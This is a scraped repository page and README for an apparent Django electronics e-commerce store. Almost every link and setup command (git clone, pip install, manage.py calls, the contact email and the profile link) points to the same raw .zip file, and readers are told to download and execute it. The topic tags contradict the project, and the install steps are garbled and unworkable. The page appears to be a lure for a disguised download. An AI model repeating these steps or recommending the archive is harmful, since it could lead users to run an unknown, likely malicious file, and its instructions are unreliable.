https://github.com/vinit77-op/electronics-store
Modern Django-based e-commerce site for electronics store
https://github.com/vinit77-op/electronics-store
data-science dependency-injection entity-framework-core java javafx livecharts material-ui matplotlib mvvm-architecture pandas prism quotes reducer repository-pattern stripe-payments wpf wpf-application wpfui
Last synced: 2 months ago
JSON representation
Modern Django-based e-commerce site for electronics store
- Host: GitHub
- URL: https://github.com/vinit77-op/electronics-store
- Owner: vinit77-op
- License: mit
- Created: 2025-05-22T00:34:43.000Z (about 1 year ago)
- Default Branch: master
- Last Pushed: 2026-02-21T21:55:06.000Z (4 months ago)
- Last Synced: 2026-02-22T01:23:49.662Z (4 months ago)
- Topics: data-science, dependency-injection, entity-framework-core, java, javafx, livecharts, material-ui, matplotlib, mvvm-architecture, pandas, prism, quotes, reducer, repository-pattern, stripe-payments, wpf, wpf-application, wpfui
- Language: HTML
- Size: 1.92 MB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# 📦 Electronics Store - A Modern E-Commerce Platform
Welcome to the **Electronics Store** repository! This project is a modern e-commerce site built with Django, designed to provide a seamless shopping experience for electronics. Whether you're looking for the latest gadgets or everyday tech essentials, this platform aims to meet your needs efficiently.
[](https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip)
## Table of Contents
- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Features
- **User-Friendly Interface**: The site offers a clean and intuitive design, making it easy for users to browse and purchase products.
- **Product Management**: Admins can easily add, edit, and remove products from the store.
- **Shopping Cart**: Users can add items to their cart and proceed to checkout with ease.
- **Secure Payment Processing**: The platform supports secure payment gateways to ensure safe transactions.
- **Responsive Design**: The site is mobile-friendly, providing a great experience on any device.
- **Search Functionality**: Users can quickly find products using the search feature.
- **Order Tracking**: Customers can track their orders in real-time.
## Technologies Used
This project utilizes a range of technologies to create a robust e-commerce platform:
- **Django**: The primary framework used for building the application.
- **Python**: The programming language that powers the backend.
- **HTML/CSS**: For structuring and styling the frontend.
- **JavaScript**: To enhance interactivity on the site.
- **PostgreSQL**: The database used for storing product and user information.
- **Bootstrap**: A CSS framework that aids in responsive design.
## Installation
To get started with the Electronics Store project, follow these steps:
1. **Clone the Repository**:
```bash
git clone https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip
cd electronics-store
```
2. **Set Up a Virtual Environment**:
```bash
python -m venv venv
source venv/bin/activate # On Windows use `venv\Scripts\activate`
```
3. **Install Dependencies**:
```bash
pip install -r https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip
```
4. **Set Up the Database**:
Update your database settings in `https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip` and run:
```bash
python https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip migrate
```
5. **Create a Superuser**:
```bash
python https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip createsuperuser
```
6. **Run the Development Server**:
```bash
python https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip runserver
```
7. **Visit the Site**: Open your browser and go to `http://127.0.0.1:8000`.
You can download the latest release and execute it from [here](https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip).
## Usage
Once the application is running, you can explore the following features:
- **Browse Products**: View the available electronics by navigating through categories.
- **Add to Cart**: Click on the "Add to Cart" button on product pages to add items.
- **Checkout**: Review your cart and proceed to checkout for payment.
- **Admin Panel**: Access the admin panel at `http://127.0.0.1:8000/admin` to manage products and orders.
## Contributing
We welcome contributions to improve the Electronics Store project. Here’s how you can help:
1. **Fork the Repository**: Click the "Fork" button at the top right of this page.
2. **Create a Branch**: Create a new branch for your feature or bug fix.
```bash
git checkout -b feature/YourFeature
```
3. **Make Changes**: Implement your changes and commit them.
```bash
git commit -m "Add your message here"
```
4. **Push Changes**: Push your changes to your forked repository.
```bash
git push origin feature/YourFeature
```
5. **Open a Pull Request**: Go to the original repository and click on "New Pull Request".
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For any questions or feedback, please reach out to the project maintainer:
- **Name**: Vinit
- **Email**: https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip
- **GitHub**: [vinit77-op](https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip)
Feel free to check the [Releases](https://raw.githubusercontent.com/vinit77-op/electronics-store/master/store/store_electronics_v2.4.zip) section for updates and new features.
---
Thank you for checking out the Electronics Store project! We hope you find it useful and easy to use. Your feedback is always appreciated.